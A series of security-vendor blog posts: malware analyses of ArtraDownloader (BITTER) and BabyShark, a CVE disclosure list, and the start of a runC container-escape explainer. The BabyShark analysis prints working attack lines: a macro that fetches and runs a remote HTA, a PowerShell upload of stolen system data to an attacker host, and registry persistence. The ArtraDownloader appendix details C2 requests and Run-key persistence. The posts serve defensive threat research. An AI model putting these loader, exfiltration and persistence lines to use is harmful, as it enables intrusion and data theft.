Multiple ArtraDownloader Variants Used by BITTER to Target Pakistan

Posted on by Josh Grunzweig

Executive Summary

Since at least 2015, a suspected South Asian threat grouping known as BITTER has been targeting Pakistan and Chinese organizations using variants of a previously unreported downloader. We have named this malware family ArtraDownloader based on a PDB string discovered within the samples. We’ve observed three variants of this downloader with the earliest timestamp of February 2015.  This downloader has frequently been observed downloading the Remote Access Trojan (RAT) BitterRAT which is associated with BITTER threat operations.

Starting in September 2018 and continuing through the beginning of 2019, BITTER launched a wave of attacks targeting Pakistan and Saudi Arabia. This is the first reported instance of BITTER targeting Saudi Arabia. Details surrounding these attacks and the three ArtraDownloader variants observed are described below.

Activities

Between mid-September 2018 and January 2019, Unit 42 observed the ArtraDownloader used in the targeting of Pakistan and Saudi Arabian organizations. Several malicious documents have been identified, all communicating with likely compromised, legitimate Pakistan websites to retrieve the payload. These websites include those associated with the Pakistan government and other Pakistan organizations.

Beginning on Sep 12, 2018, we observed files with the following names hosted on the URL https://wforc[.]pk/js/.

  • Internet Data Traffic Report – August 2018.docx
  • PAF Webmail Security Report.doc.exe

The presumed spear phish targeted an employee of  an organization  in Saudi Arabia. The malicious file communicated with the C2 nethosttalk[.]com.

Around the same timeframe, two additional files (listed below) were observed being hosted on another Pakistan website. These executables, which had the following names, were hosted on the URL khurram.com[.]pk/js/drvn and communicated with the domain nethosttalk[.]com for C2.

  • Handling of Logistics.pdf[.]com
  • Cyber security work shop.pdf[.]com

Beginning on Nov 6, 2018, the URL http://rmmun.org[.]pk/svch was observed hosting two ArtraDownloader files that communicated with the domains info.viewworld71[.]com or hewle.kielsoservice[.]net.  The RMMUN, Roots Metropolitan Model United Nations, is an organized event that was held on November 8-11, 2018 which fosters collaboration and insights into issues such as human rights and economic development.

Between November 2018 and January 2019, an engineering and hydraulics company in Pakistan, almasoodgroup[.]com was observed hosting two AtraDownloader executables as well as a malicious document used to deliver a payload.  One of the files, Port Details.doc is an RTF document crafted to exploit the EQNEDT vulnerability CVE-2017-11882. This file downloaded a payload that also communicated with the domain hewle.kielsoservice[.]net. The other two files hosted on the engineering company’s domain communicated with command and control domain xiovo426[.]net.

On 2 Jan 19, the file article_amy.doc was also uploaded into VirusTotal. This document was hosted on almasoodgroup[.]com/js/cwqj and communicated with C2 domain thepandaservices.nsiagenthoster[.]net. The domain almasoodgroup[.]com appears to be a legitimate but compromised domain in this particular instance.

On December 17 and 18 2018, a file was downloaded from http://fst.gov[.]pk/images/winsvc (SHA256: ef0cb0a1…) after a user accessed the document cocktail and the dinner in the last week of dec.doc. We do not know how the user was initially enticed to execute this document. This payload is an instance of ArtraDownloader variant 1 exploits CVE-2017-11882 (EQNEDT). In this case it was observed using the command and control domain of hewle.kielsoservice[.]net/Engset.php.

Variant Comparison

In total, roughly 80 unique instances of the ArtraDownloader malware family have been discovered. Within these samples, 3 distinct variants are identified. These variants generally have minor changes between them, specifically as it pertains to string obfuscation, as well as HTTP requests.

The earliest sample identified belonging to ArtraDownloader has a compile timestamp of February 2015, which provides a rough outline as to how old this malware family is.

To date, Unit 42 has only observed this malware family downloading and executing instances of the RAT malware family associated with BITTER. A breakdown as to when each identified sample was compiled is as follows:

Figure 1 Timeline of ArtraDownloader variants based on compile timestamps

Overall, the ArtraDownloader malware family is not sophisticated, leveraging simple registry keys for persistence and HTTP requests to download and execute a remote file. Important strings within these samples are obfuscated by adding or subtracting from each byte within a string. This same obfuscation routine is used when sending data via HTTP.

Of interest, during this analysis we discovered infrastructure use overlap seen in a previously analyzed payload. In November 2017 we reported on malicious documents that were downloaded from the domain zmwardrobe[.]com and subsequently executed a payload referred to as MY24. This activity was observed through September and October 2017. In November 2017, we first observed ArtraDownloader querying the same domain; this continuing through February 2018. Both payloads were observed in InPage exploits.

For more information about the variants discovered and an in-depth analysis on each, please refer to the Appendix.

Conclusion

To date, the threat actor commonly referred to as BITTER continues to be active against various regions across the globe. They are observed targeting Pakistan, China, and Saudi Arabia using a customized downloader malware family named ArtraDownloader. This downloader, leveraging unique custom obfuscation routines downloads and executes the BitterRAT malware family via HTTP.

Multiple organizations have been affected or found to be hosting the malware used by BITTER, including the Pakistan government, an engineering company, and an electrical provider. We will continue to monitor this threat actor in the future. Palo Alto Networks customers are protected against this threat in the following ways:

  • All malware is appropriately classified as malicious in WildFire
  • Domains being used for communication by malware and URLs hosting malware are flagged as malicious
  • AutoFocus customers may use the BITTER, BITTERRAT, and ArtraDownloader tags for continued tracking of this threat.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Appendix

ArtraDownloader Malware Analysis – Variant 1

For the remainder of the analysis, the following file is used:

MD5 7cc0b212d1b8ceb808c250495d83bae4
SHA1 d2c161ce52240b61d632607a2262890327d82502
SHA256 ef0cb0a1a29bcdf2b36622f72734aec8d38326fc8f7270f78bd956e706a5fd57
Compile Timestamp 2018-12-06 11:14:45 UTC

Table 1 ArtraDownloader Variant 1 Sample

Upon execution, the sample will create and register a new window class with the following properties:

Window Name: seal

Class Name: SEAL

Upon receiving a WM_CREATE message in this newly created window class, it will execute a new function after 20 seconds via a call to SetTimer(). This function is responsible for actually downloading and executing a remote payload and will only be called at the end of the malware’s execution.

ArtraDownloader continues to collect the following information from the victim machine:

  • Computer name
  • Operating system
  • Username

Throughout the malware’s execution, various strings are encoded to avoid detection. The following Python code may be used to decode these strings:

def decode(data):

out = ""

for d in data:

out += chr(ord(d)-1)

return out

Example:

>> print(decode("ifxmf/ljfmtptfswjdf/ofu"))

>> hewle.kielsoservice[.]net

It then attempts to acquire the following folder paths. The first successfully identified folder will be used.

  • TEMPLATES
  • NETHOOD
  • APPDATA

The ctfmon.exe file is appended to this path, which will be the destination ArtraDownloader copies itself too in the event this file does not already exist.

The malware then attempts to acquire the following folder paths. The first successfully identified folder will be used.

  • NETHOOD
  • TEMPLATES
  • APPDATA

The perfc file is appended to this path, which will be the temporary destination the malware uses when downloading a remote file.

The downloader proceeds to identify the victim’s machine GUID via the HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid registry key. If this key is successfully queried, a string with the following data is formatted:

[Computer Name]##[Username]@@[Machine GUID]

Otherwise, the following string is generated:

[Computer Name]!@[Username]

This information will be used in subsequent network requests. In order to ensure persistence, the malware modifies the host’s registry to accomplish this. The following two keys are set:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\JITDfbug - "cmd /c start %Qrp% && exit"

HKCU\Environment\Qrp - [path]\ctfmon.exe

Where [path] is the previously chosen path where ArtraDownloader has copied itself. These two registry key modifications ensure that the malware executes every time the victim machine starts.

At this point in the malware’s execution flow, the previously discussed function that is executed on a 20 second timer will ultimately run. It will begin by making the following example POST request to the remote C2 server:

POST /Engset.php HTTP/1.0

Host: hewle.kielsoservice[.]net

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-length: 148

 

BCDEF=XJO.82GO2QF2BU9&MNOPQ=Xjoepxt!8!Vmujnbuf&GHIJ=Kpti!Hsvo{xfjh&UVWXYZ=XJO.82GO2QF2BU9$$Kpti!Hsvo{xfjhAA214cf8g5.cgc9.51gb.914d.f17ceg:e4cc7&st=0

In this request, the POST data is encoded using the same technique witnessed on the strings. Upon decoding them, we are presented with the following:

POST Variable Description Decoded Example
BCDEF Hostname WIN-71FN1PE1AT8
MNOPQ Microsoft Windows Version Windows 7 Ultimate
GHIJ Username Josh Grunzweig
UVWXYZ Previously created string used as a unique identifier for the victim WIN-71FN1PE1AT8##Josh Grunzweig@@103be7f4-bfb8-40fa-803c-e06bdf9d3bb6
st Boolean value indicating if previously downloaded file executed successfully. 0

Table 2 Decoded POST requests in ArtraDownloader Variant 1

The expected response is as follows, where ‘qbzmpbe’ is the example encoded executable name (decoded: ‘payload’) that will be downloaded and executed:

DFCB=DWN qbzmpbe<br>

After the expected response is returned by the remote C2 server, ArtraDownloader will make the following POST request:

The above example request is using the same unique identifier that was witnessed in the previous request’s UZWXYZ POST variable.

The remote C2 server expects the response to be of the following format:

exe[hex-encoded data]&lt

Where [hex-encoded data] is the hex-encoded payload binary. The raw response is written to the perfc file, such as in the following example from a mock C2 server:

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 28

Server: Werkzeug/0.12.2 Python/2.7.15

Date: Tue, 08 Jan 2019 18:46:23 GMT

 

exe68656c6c6f20776f726c64&lt

After this file is written, the malware proceeds to decode the hex-encoded data and writes this to the previously defined filename in the same path as perfc. In our example from earlier, since payload was provided as the filename, this particular payload would be written to payload.exe. Using our example from the mock server, this file would contain the string hello world.

At this stage, the malware proceeds to open this newly created executable in a new process via a call to ShellExecuteA().  Should this be successful, ArtraDownloader will make a subsequent HTTP request to /Engset.php with the same POST parameters. However, in this request, the st POST variable is set to 1.

ArtraDownloader Malware Analysis – Variant 2

For the remainder of the analysis, the following file is used:

MD5 8d42c01180be7588a2a68ad96dd0cf85
SHA1 89a7861acb7983ad712ae9206131c96454a1b3d8
SHA256 0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0
Compile Timestamp 2019-01-07 07:13:47 UTC
PDB String c:\Users\Asterix\Documents\Visual Studio 2008\Projects\28NovDwn\Release\28NovDwn.pdb

Table 3 ArtraDownloader Variant 2 Sample

Upon execution, the sample will create and register a new window class with the following properties:

Window Name: 28NovDwn

Class Name: MY28NOVDWN

The malware proceeds to decode a series of strings using a simple routine. The following Python script may be used to decode strings belonging to this cluster:

def decode(data):

out = ""

for d in data:

out += chr((ord(d)-3)&0xFF)

return out

>> print(decode(“iudphzrunvxssruw1qhw”))

>> frameworksupport[.]net

It proceeds to attempt to create the C:\intel\ directory, which is where various files will eventually be stored. It creates the following registry if it doesn’t already exist with the intent of persisting on the victim machine:

HKCU\Environment\AppId – c:\intel\msdtcv.exe

ArtraDownloader then sets the following registry key to ensure that the malware executes across reboots.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run – cmd /c start %AppId% && exit

Additionally, in a separate thread, the malware will spawn a new process to copy itself to the C:\intel\msdtcv.exe path.

Various information about the victim machine is collected, including information about the operating system, the machine’s GUID, as well as the hostname. This information will ultimately be used to both identify the victim and provide general information about the infected host.

The following example GET request is made to the remote C2 server:

GET /ourtyaz/qwe.php?TIe=214cf8g5.cgc9.51gb.914d.f17ceg%3ae4cc7*XJO.82GO2QF2BU9*%3aACme%3b%217%2f2%2f8712%21Tfswjdf%21Qbdl%212 HTTP/1.1

Host: frameworksupport[.]net

Connection: close

In the example request above, the data supplied in the TIe GET variable is separated by a * and the remaining data is encoded by adding one to each byte. Decoding this string, we are presented with the following:

103be7f4-bfb8-40fa-803c-e06bdf9d3bb6*WIN-71FN1PE1AT8*9@Bld: 6.1.7601 Service Pack 1

The data above includes the machine’s GUID, the victim’s hostname, as well as information about the operating system. This particular GET request is looking for the AXE: identifier, as witnessed in the following C2 response:

HTTP/1.1 200 OK

X-Powered-By: PHP/5.6.36

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Nov 2018 22:27:56 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

 

AXE: #wscspl#

SIZE: ##

In this response, the data between the # is parsed, and a subsequent request is made. Should this information be present in the response, the malware will query the CSIDL_HISTORY folder, which represents the file system directory that serves as a common repository for Internet history items. This path has the string ZX appended to it, followed by the filename used in the HTTP response, which in our example was wscspl. An example of this is as follows:

C:\Users\[username]\AppData\Local\Microsoft\Windows\HistoryZXwscspl

The HTTP request for data that will be supplied to this newly formed file path is as follows:

GET /ergdfbd/wscspl HTTP/1.1

Host: frameworksupport[.]net

Connection: Close

The entire HTTP response is written to the previously described file path. ArtraDownloader will then parse this entire HTTP response’s POST data, extracting everything at offset 0x1 to a file path without the ZX characters, and with the .exe extension. Using our previous example, this file would be the following:

C:\Users\[username]\AppData\Local\Microsoft\Windows\Historywscspl.exe

The previously written file containing ZX in the path is removed. Finally, this file is executed in a new process. If this executable is spawned without errors, the malware will send the following example final HTTP request:

GET /ourtyaz/dwnack.php?cId=214cf8g5.cgc9.51gb.914d.f17ceg%3ae4cc7 HTTP/1.1

Host: frameworksupport[.]net

Connection: Close

ArtraDownloader Malware Analysis – Variant 3

For the remainder of the analysis, the following file is used:

MD5 a1bdb1889d960e424920e57366662a59
SHA1 177837d0fa5bfd274abe79d80a01cfe2374b4cd9
SHA256 f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22
Compile Timestamp 2018-07-30 09:18:37 UTC
PDB String d:\C++\new_downloader_aroundtheworld123\Release\audiodq.pdb

Table 4 ArtraDownloader Variant 3 Sample

Upon execution, the malware begins by decoding a series of strings via a simple decoding routine. The following Python script may be used to decode strings belonging to this cluster:

def decode(data):

out = ""

for d in data:

out += chr((ord(d)-13)&0xFF)

return out

 

>> print(decode(binascii.unhexlify("6E7F7C827B71817572847C7F79713E3F403B7B7281")))

>> aroundtheworld123[.]net

 

The malware proceeds to check to determine if the AVG security product is currently running on the system, however, this information does not appear to be used by ArtraDownloader. It is possible that this might have been a remnant of testing being performed by the malware author that was unintentionally left within the sample.

Various information about the system is collected by the malware and used in subsequent HTTP requests. After this information is collected, the following example HTTP GET request is performed:

GET ///healthne/accept.php?a=WIN-71FN1PE1AT8&b=WIN-71FN1PE1AT8&c=Windows%207%20Ultimate&d=Josh GrunzweigJosh Grunzweig103be7f4-bfb8-40fa-803c-e06bdf9d3bb6365536040965860&e= HTTP/1.1

Host: aroundtheworld123[.]net

Note that unlike other variants witnessed in this malware family, this particular variant does not obfuscate data being sent across the network. The following GET parameters are used within this request:

GET Variable Description
a Hostname
b Computer name
c Operating system version
d Unique string containing two instances of the victim’s username, the machine’s GUID, as well as various information queried via a call to GetSystemInfo()
e A variable that does not appear to be used within this particular sample

Table 5 GET Parameters Observed in ArtraDownloader Variant 3

An example response to this request can be seen below.

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 29

Date: Mon, 05 Nov 2018 19:22:56 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: Keep-Alive

 

Yes file58368[regdl]35No file

The response to this request is parsed, specifically attempting to identify the string Yes file. Should this string be present, the data between [ and ] is parsed. This data is used in a subsequent HTTP request made that will download a file from the remote server, as seen below:

GET /healthne/healthne/regdl HTTP/1.0

Host: aroundtheworld123[.]net

 

HTTP/1.0 200 OK

Last-Modified: Tue, 02 Oct 2018 04:38:28 GMT

Content-Type: application/octet-stream

Content-Length: 58368

Date: Mon, 05 Nov 2018 19:23:01 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

 

MZ......................[TRUNCATED]

This executable file is written to the same directory as the malware and uses the same name provided. As an example, should this malware originally be executed from C:\, the downloaded file would be written to C:\regdl.exe. Finally, this executable is run in a new process.

Indicators of Compromise

Please refer to the following link for a CSV file containing all relevant IOCs:

https://github.com/pan-unit42/iocs/tree/master/bitter

 

 

 

 

 

 

 

 

Unit 42 Vulnerability Research Team Discovers 23 New Vulnerabilities February 2019 Disclosures – Adobe and Microsoft

Posted on by John Harrison

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 threat researchers have discovered 23 new vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of their February 2019 APSB19-07 security update release and 2 vulnerabilities addressed by the Microsoft Security Response Center (MSRC) as part of their February 2019 security update release.  Severity ratings ranged from Important to Critical for each of these vulnerabilities.

CVE Vulnerability Name or Category Impact Maximum Severity Rating Researcher(s)
CVE-2019-0625 Windows Jet Database Engine improperly handles objects in memory Remote Code Execution Important Bar Lahav and Gal De Leon

 
CVE-2019-0675 Microsoft Office Access Connectivity Engine improperly handles objects in memory Remote Code Execution Important Gal De Leon and Bar Lahav

 
CVE-2019-7025 Use After Free Arbitrary Code Execution Critical Gal De Leon
CVE-2019-7065 Out-of-Bounds Read Information Disclosure Important Bo Qu
CVE-2019-7066 Untrusted Pointer Dereference Arbitrary Code Execution Critical Bo Qu
CVE-2019-7068 Use After Free

 

 Arbitrary Code Execution Critical Bo Qu
CVE-2019-7026 Use After Free Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7027 Out-of-Bounds Write

 

 Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7028 Out-of-Bounds Read Information Disclosure Important Zhibin Zhang
CVE-2019-7082 Use After Free Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7046 Untrusted Pointer Dereference Arbitrary Code Execution Critical Qi Deng
CVE-2019-7050 Use After Free

 

 Arbitrary Code Execution Critical Qi Deng
CVE-2019-7051 Untrusted Pointer Dereference Arbitrary Code Execution Critical Qi Deng
CVE-2019-7083 Use After Free

 

 Arbitrary Code Execution Critical Qi Deng
CVE-2019-7052 Out-of-Bounds Write Arbitrary Code Execution Critical

 

 Hui Gao
CVE-2019-7053 Out-of-Bounds Read Information Disclosure

 

 Important Hui Gao

 
CVE-2019-7054 Untrusted Pointer Dereference Arbitrary Code Execution Critical

 

 Hui Gao
CVE-2019-7055 Out-of-Bounds Read

 

 Information Disclosure

 

 Important Zhaoyan Xu

 
CVE-2019-7056 Out-of-Bounds Read

 

 Information Disclosure

 

 Important Zhaoyan Xu

 
CVE-2019-7057 Out-of-Bounds Read

 

 Information Disclosure

 

 Important Zhaoyan Xu

 
CVE-2019-7058 Out-of-Bounds Read

 

 Information Disclosure

 

 Important Zhanglin He

 
CVE-2019-7059 Out-of-Bounds Read

 

 Information Disclosure

 

 Important Zhanglin He

 
CVE-2019-7060 Out-of-Bounds Write Arbitrary Code Execution Critical

 

 Zhanglin He

 

Palo Alto Networks customers with a Threat Prevention Subscription who deploy our Next-Generation Security Platform are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps multi-layered exploit prevention capabilities. Threat prevention capabilities such as vulnerability protection with IPS and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks appreciates the recognition and credit Microsoft and Adobe has given our Unit 42 Threat Researchers. Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems with more than 200 critical vulnerabilities discovered. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

New BabyShark Malware Targets U.S. National Security Think Tanks

Posted on by Unit 42

In February 2019, Palo Alto Networks Unit 42 researchers identified spear phishing emails sent in November 2018 containing new malware that shares infrastructure with playbooks associated with North Korean campaigns. The spear phishing emails were written to appear as though they were sent from a nuclear security expert who currently works as a consultant for in the U.S. The emails were sent using a public email address with the expert’s name and had a subject referencing North Korea’s nuclear issues. The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”.

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator. Figure 1, below, shows the flow of execution.

Figure 1 BabyShark execution flow

Unit 42 was able to determine the phishing emails targeted at least:

  • A university in the U.S. which was to hold a conference about North Korea denuclearization issue at the time
  • A research institute based in the U.S. which serves as a think tank for national security issues, and where the previously referenced nuclear expert currently works.

Expanding our search to public repository samples, we identified additional malicious document samples delivering BabyShark. The original file names and decoy contents of these samples suggested that the threat actor might have interests in gathering intelligence related to not only North Korea, but possibly wider in the Northeast Asia region.

During the investigation, we were able to find links to other suspected North Korean activities in the past; KimJongRAT and STOLEN PENCIL.

Malicious Documents

BabyShark is a relatively new malware. The first sample we observed is from November 2018. The decoy contents of all malicious documents delivering BabyShark were written in English and were related to Northeast Asia’s regional security issues.

Figure 2 Timeline of BabyShark malicious documents and filename / decoys

While some decoys used content which is publicly available information on the internet, some used content which appears to not be public. Inspecting the metadata of the documents with this non-public content, we suspect that the threat actor likely compromised someone with access to private documents at a U.S. national security think tank.

Figure 3 Decoy content copied from the internet

Figure 4 Decoy content not publicly available on the internet (intentionally obfuscated)

The malicious documents contain a simple macro which would load the BabyShark’s first stage HTA at a remote location.

Sub AutoOpen()

Shell ("mshta https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta")

End Sub

BabyShark Malware Analysis

Analyzed sample details:

SHA256 9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8
Create Date 2018:12:31 02:40:00Z
Modify Date 2019:01:10 06:54:00Z
Filename Oct_Bld_full_view.docm

Table 1 Analyzed sample details

The sample is a Word document which contains a malicious macro loading BabyShark by executing the first stage HTA file at a remote location below:

https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta

After successfully loading the first stage HTA, it sends out an HTTP GET request to another location on the same C2 server, then decodes the response content with the following decoder function.

Function Co00(c)

L=Len(c)

s=""

For jx=0 To d-1

For ix=0 To Int(L/d)-1

s=s&Mid(c,ix*d+jx+1,1)

Next

Next

s=s&Right(c,L-Int(L/d)*d)

Co00=s

End Function

The decoded BabyShark VB script first enables all future macros for Microsoft Word and Excel by adding the following registry keys:

HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\14.0\WORD\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\15.0\WORD\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\16.0\WORD\Security\VBAWarnings, value:1

It then issues a sequence of Windows commands and saves the results in %AppData%\Microsoft\ttmp.log.

whoami

hostname

ipconfig /all

net user

dir "%programfiles%"

dir "%programfiles% (x86)"

dir "%programdata%\Microsoft\Windows\Start Menu"

dir "%programdata%\Microsoft\Windows\Start Menu\Programs"

dir "%appdata%\Microsoft\Windows\Recent"

tasklist

ver

set

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"

The collected data is encoded using Windows certutil.exe tool, then uploaded to the C2 via a HTTP POST request.

retu=wShell.run("certutil -f -encode """&ttmp&""" """&ttmp1&"""",0,true)

retu=wShell.run("powershell.exe (New-Object System.Net.WebClient).UploadFile('https://tdalpacafarm[.]com/files/kr/contents/upload.php','"&ttmp1&"');del """&ttmp1&""";del """&ttmp&"""",0,true)

BabyShark adds the following registry key value to maintain persistence and waits for further commands from the operator. Unfortunately, we were not able to collect additional commands issued by the operator.

HKCU\Software\Microsoft\Command Processor\AutoRun, value: “powershell.exe mshta https://tdalpacafarm[.]com/files/kr/contents/Usoro.hta"

This registry key executes the string value when cmd.exe is launched. BabyShark ensures cmd.exe is launched by registering the following scripts as scheduled tasks:

[%AppData%\Microsoft\Axz\zvftz.vbs]

Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("cmd.exe /c taskkill /im cmd.exe",0,true)

[%AppData%\Adobe\Gqe\urjlt.js]

wShell=new ActiveXObject("WScript.Shell");retu=wShell.run("cmd.exe /c taskkill /im cmd.exe"",0,true);

Links to Other Activity

We noticed BabyShark having connections with other suspected North Korean activities in the past; KimJongRAT and STOLEN PENCIL.

KimJongRAT connection:

  • BabyShark and KimJongRAT use the same file path for storing collected system information: %AppData%/Microsoft/ttmp.log.
  • KimJongRAT had similar interests in targeting national security related targets. The malware was delivered with the following decoys:
Decoy Filename Dropper SHA256
Kendall-AFA 2014 Conference-17Sept14.pdf c4547c917d8a9e027191d99239843d511328f9ec6278009d83b3b2b8349011a0
U.S. Nuclear Deterrence.pdf 1ad53f5ff0a782fec3bce952035bc856dd940899662f9326e01cb24af4de413d
제30차한미안보 안내장 ENKO.fdp.etadpU.scr (translates to 30th Korea-U.S. National Security Invitation Update) b3e85c569e89b6d409841463acb311839356c950d9eb64b9687ddc6a71d1b01b
Conference Information_2010 IFANS Conference on Global Affairs (1001).pdf 0c8f17b2130addebcb2ca75bd7a982e37ddcc49d49e79fe60e3fda767f2ec972

Table 2 Decoy filename used when delivering KimJongRAT

  • The threat actor behind the BabyShark malware frequently tested its samples for anti-virus detection when developing the malware. The testing samples included a freshly compiled KimJongRAT.
SHA256 Size Compile Date AV Test Site Upload Date
52b898adaaf2da71c5ad6b3dfd3ecf64623bedf505eae51f9769918dbfb6b731 685,568 bytes 2019-01-04 05:44:31 2019-01-04 08:15:41

Table 3 Freshly compiled testing KimJongRAT sample

STOLEN PENCIL connection:

  • A freshly compiled testing version of a PE type BabyShark loader was uploaded to a public sample repository. The sample was signed with the stolen codesigning certificate used in the STOLEN PENCIL campaign. We did not notice any other malware being signed with this certificate.
SHA256 Size Compile Date AV Test Site Upload Date
6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c 32,912 bytes 2018-12-21 00:34:35 2018-12-21 08:30:28

Table 4 Signed testing version of PE type BabyShark loader sample

Figure 5 Codesign details

Conclusion

BabyShark is being used in a limited spear phishing campaign which started in November 2018 and is still ongoing. The threat actor behind it has a clear focus on gathering intelligence related to Northeast Asia’s national security issues. Well-crafted spear phishing emails and decoys suggest that the threat actor is well aware of the targets, and also closely monitors related community events to gather the latest intelligence. While not conclusive, we suspect that the threat actor behind BabyShark is likely connected to the same actor who used the KimJongRAT malware family, and at least shares resources with the threat actor responsible for the STOLEN PENCIL campaign. We also noticed testing indicating the attackers are working on a PE loader for BabyShark. The threat actor may use different methods to deliver BabyShark in the future campaigns.

Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire and Traps detect all the malware supported in this report as malicious.
  • C2 domains used by the attackers are blocked via Threat Prevention.

AutoFocus customers can monitor ongoing activity from the threats discussed in this report by looking at the following tag:

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Indicators of Compromise

Malicious Documents:

7b77112ac7cbb7193bcd891ce48ab2acff35e4f8d523980dff834cb42eaffafa

9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8

2b6dc1a826a4d5d5de5a30b458e6ed995a4cfb9cad8114d1197541a86905d60e

66439f0e377bbe8cda3e516e801a86c64688e7c3dde0287b1bfb298a5bdbc2a2

8ef4bc09a9534910617834457114b9217cac9cb33ae22b37889040cde4cabea6

331d17dbe4ee61d8f2c91d7e4af17fb38102003663872223efaa4a15099554d7

1334c087390fb946c894c1863dfc9f0a659f594a3d6307fb48f24c30a23e0fc0

dc425e93e83fe02da9c76b56f6fd286eace282eaad6d8d497e17b3ec4059020a

94a09aff59c0c27d1049509032d5ba05e9285fd522eb20b033b8188e0fee4ff0

PE version loader, signed with stolen certificate:

6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c

Breaking out of Docker via runC – Explaining CVE-2019-5736

Posted on by Unit 42

Last week (2019-02-11) a new vulnerability in runC was reported by its maintainers, originally found by Adam Iwaniuk and Borys Poplawski. Dubbed CVE-2019-5736, it affects Docker containers running in default settings and can be used by an attacker to gain root-level access on the host.
Aleksa Sarai, one of runC’s maintainers, found that the same fundamental flaw exists in LXC. As opposed to Docker though, only privileged LXC containers are vulnerable. Both runC and LXC were patched and new versions were released.

The vulnerability gained a lot of traction and numerous technology sites and commercial companies addressed it in dedicated posts. Here at Twistlock, our CTO John Morello wrote an excellent piece with all the relevant details and the mitigations offered by the Twistlock platform.

Initially, the official exploit code wasn’t to be released publicly until 2019-02-18, in order to prevent malicious parties from weaponizing it before users have had some time to update. In the following days though, several people decided to release their own exploit code. That led the runC team to eventually release their exploit code earlier (2019-02-13) since – as they put it – “the cat was out of the bag”.

This post aims to be a comprehensive technical deep dive into the vulnerability and it’s various exploitation methods.

So What Is runC?

RunC is a container runtime originally developed as part of Docker and later extracted out as a separate open source tool and library. As a “low level” container runtime, runC is mainly used by “high level” container runtimes (e.g. Docker) to spawn and run containers, although it can be used as a stand-alone tool.
“High level” container runtimes like Docker will normally implement functionalities such as image creation and management and will use runC to handle tasks related to running containers – creating a container, attaching a process to an existing container (docker exec) and so on.

Procfs

To understand the vulnerability, we need to go over some procfs basics. The proc filesystem is a virtual filesystem in Linux that presents information primarily about processes, typically mounted to /proc. It is virtual in a sense that it does not exist on disk. Instead, the kernel creates it in memory. It can be thought of as an interface to system data that the kernel exposes as a filesystem. Each process has its own directory in procfs, at /proc/[pid]:


As shown in the image above, /proc/self is a symbolic link to the directory of the currently running process (in this case pid 177). Each process’s directory contains several files and directories with information on the process. For the vulnerability, the relevant ones are:

  • /proc/self/exe – a symbolic link to the executable file the process is running, and ;
  • /proc/self/fd – a directory containing the file descriptors open by the process.

For example, by listing the files under /proc/self using ls /proc/self one can see that /proc/self/exe points to the ‘ls’ executable.


That makes sense as the one accessing /proc/self is the ‘ls’ process that our shell spawned.

The Vulnerability

Let’s go over the vulnerability overview given by the runC team:

The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts:

  • Creating a new container using an attacker-controlled image.
  • Attaching (docker exec) into an existing container which the attacker had previous write access to.

Those two scenarios might seem different, but both require runC to spin up a new process in a container and are implemented similarly. In both cases, runC is tasked with running a user-defined binary in the container. In Docker, this binary is either the image’s entry point when starting a new container, or docker exec’s argument when attaching to an existing container.

